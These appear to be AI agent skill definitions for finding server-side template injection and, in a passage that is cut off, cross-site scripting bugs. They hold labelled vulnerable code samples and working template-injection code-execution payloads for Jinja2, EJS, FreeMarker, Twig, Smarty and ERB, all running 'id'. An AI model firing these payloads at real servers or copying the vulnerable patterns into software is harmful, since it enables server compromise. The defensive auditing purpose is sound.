sast/ssti-results.md. Use when asked to find SSTI or template injection bugs.
---
# Server-Side Template Injection (SSTI) Detection
You are performing a focused security assessment to find Server-Side Template Injection vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (find all places where templates are rendered from dynamic strings) then **taint** (confirm whether user-supplied input reaches those rendering sites as the template string).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SSTI
Server-Side Template Injection occurs when user-supplied input is embedded directly into a template string that is then evaluated by a template engine. Unlike passing user data as *context variables* to a static template, SSTI means the user can write template syntax that the engine will execute — leading to arbitrary code execution, file read, or full server compromise.
The core pattern: *unvalidated user input is used as the template string passed to a template engine's render/compile/evaluate function.*
### What SSTI IS
- Passing user input as the template string to be compiled or rendered:
- `Template(user_input).render()` — Jinja2
- `env.from_string(user_input).render()` — Jinja2
- `render_template_string(user_input)` — Flask
- `ejs.render(user_input, ctx)` — EJS (Node.js)
- `nunjucks.renderString(user_input, ctx)` — Nunjucks
- `Handlebars.compile(user_input)(ctx)` — Handlebars
- `pug.render(user_input, ctx)` — Pug/Jade
- `_.template(user_input)(ctx)` — Lodash/Underscore
- `Velocity.evaluate(ctx, user_input)` — Apache Velocity (Java)
- `new Template("anon", new StringReader(user_input), cfg).process(...)` — FreeMarker (Java)
- `new ST(user_input).render()` — StringTemplate4 (Java)
- `thymeleafEngine.process(user_input, ctx)` — Thymeleaf (Java)
- `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP)
- `$smarty->fetch("string:" . user_input)` — Smarty (PHP)
- `Liquid::Template.parse(user_input).render(ctx)` — Liquid (Ruby)
- `ERB.new(user_input).result(binding)` — ERB (Ruby)
- `t, _ := template.New("x").Parse(user_input); t.Execute(w, data)` — Go `text/template`
- `Template.fromString(user_input).render(ctx)` — Pebble (Java)
- Dynamic template name construction where the name itself comes from user input and the engine resolves arbitrary files:
- `render_template(user_input)` (Flask) where `user_input` is not validated against a safe list
- `res.render(req.query.template)` (Express) where the template name is user-controlled
### What SSTI is NOT
Do not flag these patterns:
- **User input as context data** (safe — the template is static, only the data changes):
```
render_template("profile.html", name=request.args.get("name"))
env.get_template("report.html").render(user=user_obj)
res.render("dashboard", { title: req.body.title })
```
- **XSS via template output**: If the template outputs unsanitized user data that is then rendered in a browser — that's XSS, not SSTI
- **Static templates with dynamic filenames validated against an allowlist**: If the template name comes from user input but is strictly validated against a hardcoded set of allowed template names, it's not SSTI
- **Sandboxed template engines configured with a restricted environment**: Liquid, Mustache, and similar logic-less engines cannot execute arbitrary code even if the template string comes from user input — but still flag them as "Needs Manual Review" unless you can confirm the engine is logic-less
### Patterns That Prevent SSTI
When you see these patterns, the code is likely **not vulnerable**:
**1. Static template file with dynamic context (most common safe pattern)**
```python
# Flask — static template, user input only in context dict
return render_template("user_profile.html", username=request.args.get("name"))
# Express — static view name
res.render("dashboard", { user: req.user })
```
**2. Allowlist validation for template names**
```python
ALLOWED_TEMPLATES = {"invoice.html", "receipt.html", "summary.html"}
template_name = request.args.get("tmpl", "invoice.html")
if template_name not in ALLOWED_TEMPLATES:
abort(400)
return render_template(template_name)
```
**3. Logic-less / sandboxed engines that don't support code execution**
```javascript
// Mustache — logic-less, cannot execute arbitrary code even if template is user-supplied
const output = Mustache.render(userTemplate, ctx); // lower risk, but still flag for review
```
---
## Vulnerable vs. Secure Examples
### Python — Flask / Jinja2
```python
# VULNERABLE: user input rendered as template string
@app.route('/greet')
def greet():
name = request.args.get('name', '')
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
# Payload: ?name={{7*7}} → renders "49"
# RCE: ?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# SECURE: user input passed as context variable to a static template
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template("greet.html", name=name)
```
```python
# VULNERABLE: env.from_string with user-controlled template
@app.route('/preview')
def preview():
tmpl = request.form.get('template')
return Environment().from_string(tmpl).render()
# SECURE: load template from trusted file, pass user data as context
@app.route('/preview')
def preview():
data = request.form.get('data')
return env.get_template("preview.html").render(data=data)
```
### Node.js — EJS
```javascript
// VULNERABLE: user input as template string
app.get('/render', (req, res) => {
const tmpl = req.query.template;
res.send(ejs.render(tmpl, { user: req.user }));
// Payload: ?template=<%- global.process.mainModule.require('child_process').execSync('id') %>
});
// SECURE: user input only in context data
app.get('/render', (req, res) => {
res.render('report', { content: req.query.content });
});
```
### Node.js — Nunjucks
```javascript
// VULNERABLE: renderString with user-controlled template
app.post('/preview', (req, res) => {
const output = nunjucks.renderString(req.body.tmpl, { user: req.user });
res.send(output);
// Payload: {{ range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")() }}
});
// SECURE: render from a file, user input only as context
app.post('/preview', (req, res) => {
res.render('preview.html', { content: req.body.content });
});
```
### Node.js — Handlebars
```javascript
// VULNERABLE: compile with user-supplied template string
app.get('/email', (req, res) => {
const template = Handlebars.compile(req.query.tmpl);
res.send(template({ user: req.user }));
// Payload: {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}...
});
// SECURE: compile static template, user data in context
const template = Handlebars.compile(fs.readFileSync('email.hbs', 'utf8'));
app.get('/email', (req, res) => {
res.send(template({ name: req.query.name }));
});
```
### Ruby — ERB
```ruby
# VULNERABLE: user input passed to ERB constructor
get '/render' do
tmpl = params[:template]
ERB.new(tmpl).result(binding)
# Payload: <%= `id` %>
end
# SECURE: static ERB file, user data in binding only
get '/render' do
@name = params[:name]
erb :profile
end
```
### Java — FreeMarker
```java
// VULNERABLE: template string sourced from user input
@PostMapping("/preview")
public String preview(@RequestParam String tmplStr, Model model) throws Exception {
Template t = new Template("preview", new StringReader(tmplStr), cfg);
StringWriter out = new StringWriter();
t.process(model.asMap(), out);
return out.toString();
// Payload: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
}
// SECURE: load template from classpath, user data only in model
@GetMapping("/report")
public String report(@RequestParam String userId, Model model) {
model.addAttribute("user", userService.findById(userId));
return "report"; // resolves to templates/report.ftl
}
```
### Java — Velocity
```java
// VULNERABLE: user input evaluated as template
public String render(String userTemplate) {
VelocityContext ctx = new VelocityContext();
StringWriter sw = new StringWriter();
Velocity.evaluate(ctx, sw, "template", userTemplate);
return sw.toString();
// Payload: #set($e="")#set($x=$e.class.forName("java.lang.Runtime"))...
}
// SECURE: load template from file
Template t = Velocity.getTemplate("report.vm");
t.merge(ctx, sw);
```
### Java — Thymeleaf (Spring)
```java
// VULNERABLE: user input used as template expression evaluated by Thymeleaf
@GetMapping("/hello")
public String hello(@RequestParam String lang, Model model) {
return "user/" + lang + "/welcome"; // path traversal + SSTI if lang is e.g. "__${T(java.lang.Runtime).getRuntime().exec('id')}"
}
// SECURE: validate lang against an allowlist
private static final Set<String> ALLOWED_LANGS = Set.of("en", "fr", "de");
@GetMapping("/hello")
public String hello(@RequestParam String lang, Model model) {
if (!ALLOWED_LANGS.contains(lang)) return "error";
return "user/" + lang + "/welcome";
}
```
### PHP — Twig
```php
// VULNERABLE: user input as template string
$app->get('/render', function (Request $request) use ($twig) {
$tmpl = $request->query->get('template');
return $twig->createTemplate($tmpl)->render([]);
// Payload: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
});
// SECURE: static template, user data in context array
$app->get('/profile', function (Request $request) use ($twig) {
return $twig->render('profile.html.twig', ['name' => $request->query->get('name')]);
});
```
### PHP — Smarty
```php
// VULNERABLE: user-controlled template string via fetch("string:...")
$template = $_GET['tmpl'];
$smarty->fetch("string:" . $template);
// Payload: {php}echo shell_exec('id');{/php}
// SECURE: pass user data as template variable
$smarty->assign('name', $_GET['name']);
$smarty->display('profile.tpl');
```
### Go — text/template
```go
// VULNERABLE: user input parsed as template
func handler(w http.ResponseWriter, r *http.Request) {
tmpl := r.URL.Query().Get("tmpl")
t, _ := template.New("x").Parse(tmpl)
t.Execute(w, data)
// Payload: {{.Func "os/exec" "id"}} — depends on data methods exposed
}
// SECURE: static template string or file; user input only in data
func handler(w http.ResponseWriter, r *http.Request) {
t := template.Must(template.ParseFiles("tmpl/page.html"))
t.Execute(w, map[string]string{"Name": r.URL.Query().Get("name")})
}
// Note: Go's html/template auto-escapes output, but text/template does not.
// Even html/template is vulnerable to SSTI if user input reaches .Parse().
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find Template Rendering Sites Using Dynamic Strings
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where a template engine renders, compiles, or evaluates a **dynamically built string** as the template itself — rather than loading a static template file. Write results to `sast/ssti-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, template engines in use, and how views/responses are rendered.
>
> **What to search for — vulnerable template rendering patterns**:
>
> Flag any call where the first argument (the template string) is a variable, a concatenated string, or any non-literal value. You are not yet checking whether that variable comes from user input — that is Phase 2's job.
>
> 1. **Python — Jinja2 / Flask**:
> - `render_template_string(var)` — any non-literal argument
> - `Environment().from_string(var)` or `env.from_string(var)`
> - `jinja2.Template(var).render(...)`
> - `Template(var)` where Template is imported from jinja2
>
> 2. **Python — Mako**:
> - `Template(var).render(...)` where Template is from `mako.template`
> - `mako.template.Template(var)`
>
> 3. **Node.js — EJS**:
> - `ejs.render(var, ...)` or `ejs.renderFile(var, ...)` where var is not a static string literal
>
> 4. **Node.js — Nunjucks**:
> - `nunjucks.renderString(var, ...)` — any non-literal first argument
> - `env.renderString(var, ...)`
>
> 5. **Node.js — Handlebars**:
> - `Handlebars.compile(var)` — any non-literal argument
> - `Handlebars.precompile(var)`
>
> 6. **Node.js — Pug/Jade**:
> - `pug.render(var, ...)` — any non-literal argument
> - `pug.compile(var, ...)`
>
> 7. **Node.js — Lodash/Underscore**:
> - `_.template(var)` — any non-literal argument
> - `Handlebars.compile(var)`
>
> 8. **Node.js — Swig / Twig.js**:
> - `swig.render(var, ...)`
> - `twig({ data: var })`
>
> 9. **Ruby — ERB**:
> - `ERB.new(var).result(...)` — any non-literal argument
> - `ERB.new(var).result_with_hash(...)`
>
> 10. **Ruby — Liquid**:
> - `Liquid::Template.parse(var).render(...)` — any non-literal argument
>
> 11. **Java — FreeMarker**:
> - `new Template(name, new StringReader(var), cfg)` — var is not a literal
> - `cfg.getTemplate(var)` where var is not a literal (potential template path injection)
>
> 12. **Java — Velocity**:
> - `Velocity.evaluate(ctx, writer, logTag, var)` — any non-literal fourth argument
> - `ve.evaluate(ctx, writer, logTag, var)`
>
> 13. **Java — StringTemplate / ST4**:
> - `new ST(var)` — any non-literal argument
> - `new STGroup(var, ...)` with non-literal path
>
> 14. **Java — Thymeleaf**:
> - Controller methods returning a view name built by string concatenation: `return "user/" + var + "/page"` or `return String.format("prefix/%s/suffix", var)`
> - `templateEngine.process(var, ctx)` with non-literal var
>
> 15. **PHP — Twig**:
> - `$twig->createTemplate($var)->render(...)` — any non-literal argument
> - `$environment->createTemplate($var)`
>
> 16. **PHP — Smarty**:
> - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)`
> - `$smarty->fetch($var)` where var may contain a "string:" prefix
>
> 17. **PHP — Blade / Laravel**:
> - `Blade::render($var, ...)` — any non-literal argument
> - `\Illuminate\Support\Facades\View::make($var, ...)` with non-literal name (template path injection)
>
> 18. **Go — text/template or html/template**:
> - `template.New(name).Parse(var)` — any non-literal argument to Parse
> - `t.Parse(var)` on any template variable
> - `t.ParseFiles(var)` with non-literal var (template path injection)
>
> 19. **C# — Scriban / Handlebars.Net / DotLiquid / Fluid**:
> - `Template.Parse(var)` (Scriban) — non-literal
> - `Handlebars.Compile(var)` — non-literal
> - `DotLiquid.Template.Parse(var)` — non-literal
> - `FluidParser.TryParse(var, ...)` — non-literal
>
> **What to skip** (safe patterns — do not flag):
> - Calls where the first argument is a **string literal**: `render_template_string("<h1>Hello</h1>")`, `ejs.render("<p>static</p>", ctx)`
> - Calls where a file path is loaded from a trusted constant and user input only appears in context: `render_template("profile.html", user=user_obj)`
> - Template engine configuration calls that do not render user-supplied content: `env = Environment(loader=FileSystemLoader("templates/"))`
>
> **Output format** — write to `sast/ssti-recon.md`:
>
> ```markdown
> # SSTI Recon: [Project Name]
>
> ## Summary
> Found [N] locations where a template engine renders a dynamic (non-literal) string as the template.
>
> ## Candidate Rendering Sites
>
> ### 1. [Descriptive name — e.g., "render_template_string in /greet endpoint"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Template engine**: [Jinja2 / EJS / Handlebars / FreeMarker / Twig / ERB / etc.]
> - **Rendering call**: [render_template_string / from_string / ejs.render / Handlebars.compile / etc.]
> - **Dynamic argument**: `var_name` — [brief note on what it appears to represent, e.g., "looks like it comes from a form field" or "unknown origin"]
> - **Code snippet**:
> ```
> [the rendering call with the dynamic argument]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/ssti-recon.md`. If the recon found **zero candidate rendering sites** (the summary reports "Found 0" or the "Candidate Rendering Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/ssti-results.md` and stop:
```markdown
# SSTI Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one candidate rendering site.
### Phase 2: Trace User Input to Template Rendering Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each candidate template rendering site in `sast/ssti-recon.md`, determine whether a user-supplied value reaches the dynamic template string argument. Write final results to `sast/ssti-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, and how data flows through the application.
>
> **For each rendering site, trace the dynamic template argument backwards to its origin**:
>
> 1. **Direct user input** — the argument is assigned directly from a request source with no transformation:
> - HTTP query params: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`
> - Path parameters: `request.path_params['id']`, `req.params.id`, `params[:id]`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `params[:x]`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`
> - File upload content: if a file's content is read and passed as the template string
>
> 2. **Indirect user input** — the argument is derived from user input through transformations, function calls, or intermediate assignments. Trace the full chain:
> - Variable assigned from a function return value → check that function's parameter origin
> - Variable passed as a function argument → check the call site(s)
> - Variable read from a class attribute or shared state set elsewhere → find the setter
> - Variable conditionally assigned — check all branches
>
> 3. **Second-order input** — the template string is read from the database, a config store, or a file, but the stored value originally came from user input (e.g., user-submitted "custom email template" feature):
> - Find where this value was written — was it stored from a user-supplied field?
> - Was it sanitized before storage? Note: sanitizing SSTI payloads is unreliable — still flag.
>
> 4. **Server-side / hardcoded value** — the template string comes from a file loaded at startup, a hardcoded constant, or server-side logic with no user influence — this site is NOT exploitable.
>
> **For each rendering site, also assess the template engine's risk level**:
> - **Critical**: Jinja2, Mako, Twig, Smarty, FreeMarker, Velocity, ERB, Pug, EJS, Go `text/template`, Thymeleaf — full code execution possible
> - **High**: Handlebars (with prototype pollution gadgets), Nunjucks, Lodash `_.template`, Blade, Razor
> - **Medium / Logic-less**: Mustache, Liquid (without dangerous tags enabled) — arbitrary code execution not typically possible, but still check for data leakage
>
> **For each rendering site, also check for mitigations**:
> - Is the template engine running in a sandboxed mode? (e.g., Jinja2 `SandboxedEnvironment`, Twig `sandbox` extension with strict policy)
> - Is the input validated or filtered before being used as a template? Note: blocklist-based filtering of template syntax characters (`{`, `}`, `%`) is **not** a reliable mitigation — attackers can often bypass it.
> - Is the result of rendering passed directly to the response, or is it used in a non-dangerous context?
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the template string argument with no effective mitigation, using a critical/high-risk engine.
> - **Likely Vulnerable**: User input probably reaches the template string (indirect flow or second-order), or a medium-risk engine is used, or only blocklist filtering is applied.
> - **Not Vulnerable**: The template string is server-side only (file, constant, hardcoded), OR a properly configured sandbox is confirmed in place.
> - **Needs Manual Review**: Cannot determine the argument's origin with confidence, or a logic-less engine is used and data leakage scope is unclear.
>
> **Output format** — write to `sast/ssti-results.md`:
>
> ```markdown
> # SSTI Analysis Results: [Project Name]
>
> ## Executive Summary
> - Rendering sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Template engine**: [Jinja2 / FreeMarker / Twig / ERB / etc.] (severity: Critical/High)
> - **Issue**: [e.g., "HTTP query param `tmpl` flows directly into render_template_string()"]
> - **Taint trace**: [Step-by-step from entry point to the rendering call — e.g., "request.args.get('tmpl') → tmpl → render_template_string(tmpl)"]
> - **Impact**: Remote code execution — attacker can execute arbitrary OS commands, read files, exfiltrate secrets, or pivot internally.
> - **Proof-of-concept payload**:
> ```
> [Template syntax payload appropriate for the engine.
> Example for Jinja2: ?tmpl={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
> Example for FreeMarker: ?tmpl=<#assign+ex="freemarker.template.utility.Execute"?new()>${ex("id")}
> Example for Twig: ?tmpl={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
> Example for ERB: ?tmpl=<%= `id` %>
> Example for EJS: ?tmpl=<%- global.process.mainModule.require('child_process').execSync('id') %>]
> ```
> - **Remediation**: Never use user input as a template string. Pass user data as context variables to a static template. If dynamic templates are a product requirement, use a sandboxed logic-less engine (e.g., Mustache, Liquid with safe config) and enforce strict input validation.
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Template engine**: [engine name] (severity: High/Medium)
> - **Issue**: [e.g., "Template string likely sourced from user input via helper function" or "Second-order: user-submitted template stored in DB then evaluated server-side"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it's still a risk — e.g., "Second-order SSTI: user can craft payload at submission time that executes when the template is rendered later"]
> - **Proof-of-concept payload**:
> ```
> [payload for the engine]
> ```
> - **Remediation**: [Specific fix]
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Template string is loaded from a hardcoded file path" or "Jinja2 SandboxedEnvironment confirmed in use with restricted globals"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the argument's origin could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `get_custom_template()` in services/email.py to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any dynamic (non-literal) variable used as the template string argument. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each site found in Phase 1, trace the dynamic template argument back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
- The critical distinction is **template string vs. template context**: user input passed as a *variable name/value* inside `render_template("page.html", user=input)` is safe. User input passed as the *template string itself* to `render_template_string(input)` is dangerous.
- **Second-order SSTI is easy to miss**: a "custom template" feature may let users store Jinja2/Twig syntax in the database. When that stored template is later loaded and rendered server-side without sandboxing, it's SSTI. In Phase 2, treat DB-read template strings as potentially tainted.
- **Thymeleaf fragment expressions**: in Spring Boot, if a controller returns a view name constructed from user input (e.g., `return "user/" + lang + "/view"`), Thymeleaf may process Spring EL expressions embedded in the path segment, enabling RCE. Flag any controller that builds a view name string using user-supplied values.
- **Blocklist filtering is not a mitigation**: attempts to strip `{{`, `}}`, `<%`, `%>` etc. from user input are routinely bypassed via encoding, alternate syntax, or nested expressions. Do not classify a finding as "Not Vulnerable" solely because filtering is present.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Include engine-appropriate proof-of-concept payloads for all Vulnerable and Likely Vulnerable findings. Payloads should first test with a math expression (e.g., `{{7*7}}`) to confirm template execution before escalating to RCE payloads.
+574
View File
@@ -0,0 +1,574 @@
---
name: sast-xss
description: >-
Detect Cross-Site Scripting (XSS) vulnerabilities in a codebase using a
two-phase approach: first find all HTML, JavaScript, and DOM output sinks
where data is rendered without escaping, then trace whether user-supplied
input reaches those sinks. Requires sast/architecture.md (run sast-analysis
first). Outputs findings to sast/xss-results.md. Use when asked to find XSS
or cross-site scripting bugs.
---
# Cross-Site Scripting (XSS) Detection
You are performing a focused security assessment to find Cross-Site Scripting vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **sink discovery** (find all places where data is rendered into HTML, JavaScript, or the DOM without proper escaping) then **taint** (confirm whether user-supplied input reaches those sinks).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is XSS
XSS occurs when user-supplied input is incorporated into a web page's HTML, JavaScript, or DOM without proper escaping or sanitization. This allows attackers to inject and execute arbitrary scripts in victims' browsers, leading to session hijacking, credential theft, defacement, and malware distribution.
The core pattern: *unescaped, unsanitized user input reaches an HTML/JS output sink.*
### XSS Types
- **Reflected XSS**: User input is immediately echoed back in the HTTP response (e.g., a search term rendered directly into the page HTML).
- **Stored XSS**: User input is saved to persistent storage (database, file) and later rendered in HTML for other users.
- **DOM-based XSS**: Client-side JavaScript reads from an attacker-controlled source (`location.search`, `location.hash`, `document.cookie`) and writes to a dangerous DOM sink (`innerHTML`, `eval`, `document.write`) without server involvement.
### What XSS IS
**Server-side HTML sinks** — rendering user data into HTML responses without escaping:
- Python/Jinja2: `{{ var | safe }}`, `{% autoescape off %}...{{ var }}...{% endautoescape %}`
- Python/Django: `mark_safe(var)`, `format_html(...)` with `%s` and unescaped input, `{{ var | safe }}` in templates
- Python/Flask: `Markup(var)`, `render_template_string(f"...{var}...")`
- PHP: `echo $var`, `print $var`, `<?= $var ?>` without `htmlspecialchars()`
- Ruby/Rails: `raw(var)`, `var.html_safe`, `<%= raw var %>`, `content_tag` with `.html_safe`
- Java/JSP: `<%= var %>`, `${var}` without `<c:out>` or `fn:escapeXml()`
- Java/Thymeleaf: `th:utext="${var}"` (unescaped), `[(${var})]`
- Go/html-template misuse: using `template.HTML(var)`, `template.JS(var)`, `template.URL(var)` to bypass auto-escaping
- C#/Razor: `@Html.Raw(var)`, `MvcHtmlString.Create(var)`
- Node.js/EJS: `<%- var %>` (unescaped), vs `<%= var %>` (safe)
- Node.js/Handlebars: `{{{ var }}}` (triple-brace, unescaped)
- Node.js/Pug: `!{var}` (unescaped)
- Express: `res.send("<html>..." + var + "...")`, `res.write("<p>" + var + "</p>")`
**Client-side DOM sinks** — JavaScript writing user-controlled data to the DOM unsafely:
- `element.innerHTML = var`
- `element.outerHTML = var`
- `document.write(var)`, `document.writeln(var)`
- `element.insertAdjacentHTML('beforeend', var)`
- jQuery: `$(element).html(var)`, `$(element).append(var)` (when var contains HTML), `$('<div>' + var + '</div>')`
- React: `dangerouslySetInnerHTML={{ __html: var }}`
- Angular: `[innerHTML]="var"`, `bypassSecurityTrustHtml(var)`, `bypassSecurityTrustScript(var)`, `bypassSecurityTrustUrl(var)`
- Vue: `v-html="var"`
**JavaScript execution sinks** — user-controlled data evaluated as code:
- `eval(var)`
- `setTimeout(var, delay)` / `setInterval(var, delay)` when `var` is a string
- `new Function(var)()`
- `element.setAttribute('onclick', var)`, `element.setAttribute('href', 'javascript:' + var)`
- `location.href = var`, `location.replace(var)`, `location.assign(var)` (when var is user-controlled and can be `javascript:...`)
- `element.src = var`, `element.action = var` (script injection via `javascript:` URIs)
- `scriptElement.text = var`, `scriptElement.textContent = var`
**DOM-based sources** — attacker-controlled inputs read by client-side JavaScript:
- `location.search` (URL query string)
- `location.hash` (URL fragment)
- `location.href`
- `document.referrer`
- `document.URL`, `document.documentURI`
- `document.cookie`
- `postMessage` event data (`event.data`)
- `window.name`
- `localStorage.getItem(...)`, `sessionStorage.getItem(...)` (if populated from URL or postMessage)
### What XSS is NOT
Do not flag these as XSS:
- **CSRF**: Forging requests on behalf of a user — a separate vulnerability class
- **SQLi via XSS**: Injecting SQL through an XSS vector — the SQL injection itself is the primary finding
- **Clickjacking**: Embedding pages in iframes — different vulnerability class
- **Header injection**: Injecting newlines into HTTP response headers — separate class (HTTP Response Splitting)
- **Safe template output**: Auto-escaped `{{ var }}` in Jinja2/Django/Twig/Blade/Handlebars double-brace syntax with auto-escaping on — these are safe
- **`textContent` / `innerText`**: These write plain text only; no HTML parsing occurs — safe
### Patterns That Prevent XSS
When you see these patterns, the code is likely **not vulnerable**:
**1. Context-aware auto-escaping (most template engines default)**
```
# Jinja2 / Django (auto-escape on by default)
{{ var }} # HTML-escaped → safe
# EJS
<%= var %> # HTML-escaped → safe
# Handlebars
{{ var }} # HTML-escaped → safe
# Pug
= var # HTML-escaped → safe
# Thymeleaf
th:text="${var}" # HTML-escaped → safe
# Razor (C#)
@var # HTML-encoded → safe
```
**2. Explicit escaping before output**
```php
// PHP
echo htmlspecialchars($var, ENT_QUOTES, 'UTF-8');
```
```ruby
# Rails
<%= h(var) %>
<%= ERB::Util.html_escape(var) %>
```
```java
// JSP with JSTL
<c:out value="${var}"/>
// or fn:escapeXml()
${fn:escapeXml(var)}
```
```go
// html/template — auto-escapes by context (HTML, JS, URL, CSS)
{{.Var}} // safe inside html/template
```
**3. DOM manipulation using safe properties**
```javascript
element.textContent = userInput; // plain text, no HTML parsing — safe
element.innerText = userInput; // plain text — safe
```
**4. Sanitization with an allowlisted HTML library**
```javascript
// DOMPurify
element.innerHTML = DOMPurify.sanitize(userInput);
// sanitize-html with strict config
const clean = sanitizeHtml(userInput, { allowedTags: [], allowedAttributes: {} });
```
**5. React / Angular / Vue auto-escaping**
```jsx
// React JSX — auto-escaped
return <div>{userInput}</div>;
```
```html
<!-- Angular — auto-escaped -->
<div>{{ userInput }}</div>
<!-- Vue — auto-escaped -->
<div>{{ userInput }}</div>
```
---
## Vulnerable vs. Secure Examples
### Python — Flask / Jinja2
```python
# VULNERABLE: Markup() bypasses Jinja2 auto-escaping
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template_string(f"<h1>Hello, {name}!</h1>") # raw f-string, no template escaping
# VULNERABLE: mark_safe equivalent
@app.route('/profile')
def profile():
bio = request.args.get('bio', '')
return render_template('profile.html', bio=Markup(bio)) # Markup() marks it as safe, bypassing escaping
# SECURE: use template with auto-escaping (never pass Markup around user input)
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template('greet.html', name=name) # template: {{ name }} — auto-escaped
```
### Python — Django
```python
# VULNERABLE: mark_safe() with user input
def user_bio(request):
bio = request.GET.get('bio', '')
safe_bio = mark_safe(bio) # user input bypasses Django's auto-escaping
return render(request, 'bio.html', {'bio': safe_bio})
# SECURE: pass raw string; template handles escaping
def user_bio(request):
bio = request.GET.get('bio', '')
return render(request, 'bio.html', {'bio': bio}) # template: {{ bio }} — auto-escaped
```
### PHP
```php
// VULNERABLE: echo without escaping
function showUsername($username) {
echo "<p>Welcome, " . $username . "</p>";
}
// SECURE: htmlspecialchars
function showUsername($username) {
echo "<p>Welcome, " . htmlspecialchars($username, ENT_QUOTES, 'UTF-8') . "</p>";
}
```
### Node.js — Express (string concatenation)
```javascript
// VULNERABLE: user input concatenated into HTML response
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
});
// SECURE: use a template engine with auto-escaping, or escape manually
const escapeHtml = require('escape-html');
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${escapeHtml(query)}</h1>`);
});
```
### Node.js / EJS
```html
<!-- VULNERABLE: unescaped output -->
<div><%- userInput %></div>
<!-- SECURE: escaped output -->
<div><%= userInput %></div>
```
### Node.js / Handlebars
```html
<!-- VULNERABLE: triple-brace, unescaped -->
<div>{{{ userInput }}}</div>
<!-- SECURE: double-brace, auto-escaped -->
<div>{{ userInput }}</div>
```
### JavaScript — DOM Sinks
```javascript
// VULNERABLE: innerHTML with URL fragment
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// SECURE: textContent
const name = location.hash.substring(1);
document.getElementById('greeting').textContent = 'Hello, ' + name;
```
```javascript
// VULNERABLE: eval with postMessage data
window.addEventListener('message', (event) => {
eval(event.data);
});
// SECURE: parse and validate; never eval postMessage data
window.addEventListener('message', (event) => {
const data = JSON.parse(event.data);
// handle data safely
});
```
### React
```jsx
// VULNERABLE: dangerouslySetInnerHTML with user input
function Comment({ content }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
// SECURE: render as text (auto-escaped by React)
function Comment({ content }) {
return <div>{content}</div>;
}
```
### Angular
```typescript
// VULNERABLE: bypassing Angular's DomSanitizer
constructor(private sanitizer: DomSanitizer) {}
getUserHtml(input: string): SafeHtml {
return this.sanitizer.bypassSecurityTrustHtml(input); // unsafe if input is user-controlled
}
```
```html
<!-- VULNERABLE: [innerHTML] with unsanitized value -->
<div [innerHTML]="userInput"></div>
<!-- SECURE: use interpolation (auto-escaped) -->
<div>{{ userInput }}</div>
```
### Ruby on Rails
```erb
<%# VULNERABLE: raw() or html_safe with user input %>
<%= raw(@user.bio) %>
<%= @user.bio.html_safe %>
<%# SECURE: default ERB escaping %>
<%= @user.bio %>
```
### Java — JSP
```jsp
<%-- VULNERABLE: scriptlet echo --%>
<p>Hello, <%= request.getParameter("name") %></p>
<%-- VULNERABLE: EL without c:out --%>
<p>Hello, ${param.name}</p>
